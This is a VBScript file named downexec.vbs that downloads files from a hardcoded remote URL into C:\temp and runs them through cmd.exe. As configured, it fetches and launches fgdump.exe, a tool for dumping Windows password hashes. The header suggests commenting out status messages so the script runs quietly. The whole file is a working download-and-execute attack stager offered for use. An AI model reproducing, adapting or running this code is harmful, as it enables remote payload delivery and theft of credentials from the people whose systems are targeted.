'***********************************************************************
'	Disclaimer:	Most of the code found on the net, we just added a few bits.

'	Anastasios Monachos - anastasiosm@gmail.com
'
'	Plaform:	Windows			Usage:	wscript downexec.vbs
'
'	Simple vbs script to download and execute a file.
'	Things to change: 	SourceURL, SaveFilesTo, FilesToDownload, 
'					FileToExecutePart1, FileToExecutePart2
'	You may also want comment lines 49 and 51 so to stop error/success messages.
'***********************************************************************
Option Explicit
On Error Resume Next
Dim SourceURL, SaveFilesTo, FilesToDownload, FileToExecutePart1, FileToExecutePart2

SourceURL = "http://www.intelcomms.net/dummy/"     'Set the URL path of the directory which contains the files for download
SaveFilesTo = "C:\temp\"							'Specify the location to download the files

'Add the files to download, here, seperated by commas
'FilesToDownload = "File1.java,File2.exe,File3.com,File4.dll"
FilesToDownload = "fgdump.exe"

FileToExecutePart1 = "cmd.exe"					'This most of the times needs to be set to cmd.exe
FileToExecutePart2 = "/K c:\temp\fgdump.exe"	'Do not close down the execution window, otherwise use the /C switch
'Other examples:	'Run "cmd.exe","/K javac Program.java"
				'Run "cmd.exe","/C c:\fgdump.exe"

Main	'Call Main method
'*********************************Sub Main STARTS HERE*********************************
Sub Main
    Dim strOutputFile, strErrCode, strOutPut, i
    Dim objArgs, objFSO, objOutputFile, objHTTP
    Dim arrayOfFilesToDownload
	Const ForWriting = 2
	Const ForAppending = 8

	arrayOfFilesToDownload = Split(FilesToDownload,",")

    Set objArgs = Wscript.Arguments
    For i = 0 To objArgs.count - 1
        strErrCode = strErrCode & objArgs(i) & " "
    Next
    Set objArgs = Nothing
    strOutPut = Now & " - " & strErrCode

    'Download all files specified in the array
    For i = 0 To Ubound(arrayOfFilesToDownload)
        If DownloadAndSaveBinary(SourceURL & arrayOfFilesToDownload(i), SaveFilesTo & arrayOfFilesToDownload(i)) Then
			WScript.Echo "File: " & arrayOfFilesToDownload(i) & " was downloaded SUCCESSFULLY"
        Else
			WScript.Echo "File: " & arrayOfFilesToDownload(i) & " FAILED to download"
        End If
    Next
	
	'Execute the desired file and arguments
	Run FileToExecutePart1, FileToExecutePart2
End Sub
'*********************************Sub Main ENDS HERE*********************************
'*********************************Function DownloadAndSaveBinary STARTS HERE*********************************
Function DownloadAndSaveBinary(strUrl, strFile)
    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Const ForWriting = 2
    Dim web, varByteArray, strData, strBuffer, lngCounter, ado
	
	Err.Clear
	Set web = Nothing
    Set web = CreateObject("WinHttp.WinHttpRequest.5.1")
    If web Is Nothing Then Set web = CreateObject("WinHttp.WinHttpRequest")
    If web Is Nothing Then Set web = CreateObject("MSXML2.ServerXMLHTTP")
    If web Is Nothing Then Set web = CreateObject("Microsoft.XMLHTTP")
    web.Open "GET", strURL, False
    web.Send
    If Err.Number <> 0 Then
        DownloadAndSaveBinary = False	
        Set web = Nothing
        Exit Function
    End If
    If web.Status <> "200" Then
        DownloadAndSaveBinary = False
        Set web = Nothing
        Exit Function
    End If
    varByteArray = web.ResponseBody
    Set web = Nothing
    
    'Now save the file
    On Error Resume Next
    Set ado = Nothing
    Set ado = CreateObject("ADODB.Stream")
    If ado Is Nothing Then
        Set fs = CreateObject("Scripting.FileSystemObject")
        Set ts = fs.OpenTextFile(strFile, ForWriting, True)
        strData = ""
        strBuffer = ""
        For lngCounter = 0 to UBound(varByteArray)
            ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
        Next
        ts.Close
    Else
        ado.Type = adTypeBinary
        ado.Open
        ado.Write varByteArray
        ado.SaveToFile strFile, adSaveCreateOverWrite
        ado.Close
    End If
    DownloadAndSaveBinary = True	'Returns true, download and saving succeeded
End Function
'*********************************Function DownloadAndSaveBinary ENDS HERE*********************************
'*********************************Sub Run STARTS HERE*********************************
Sub Run(ByVal executeFile,executeParameters)
Dim shell
   Set shell = CreateObject("WScript.Shell")
   shell.Run Chr(34) & executeFile & Chr(34) & executeParameters, 1, false
   Set shell = Nothing
End Sub
'*********************************Sub Run ENDS HERE*********************************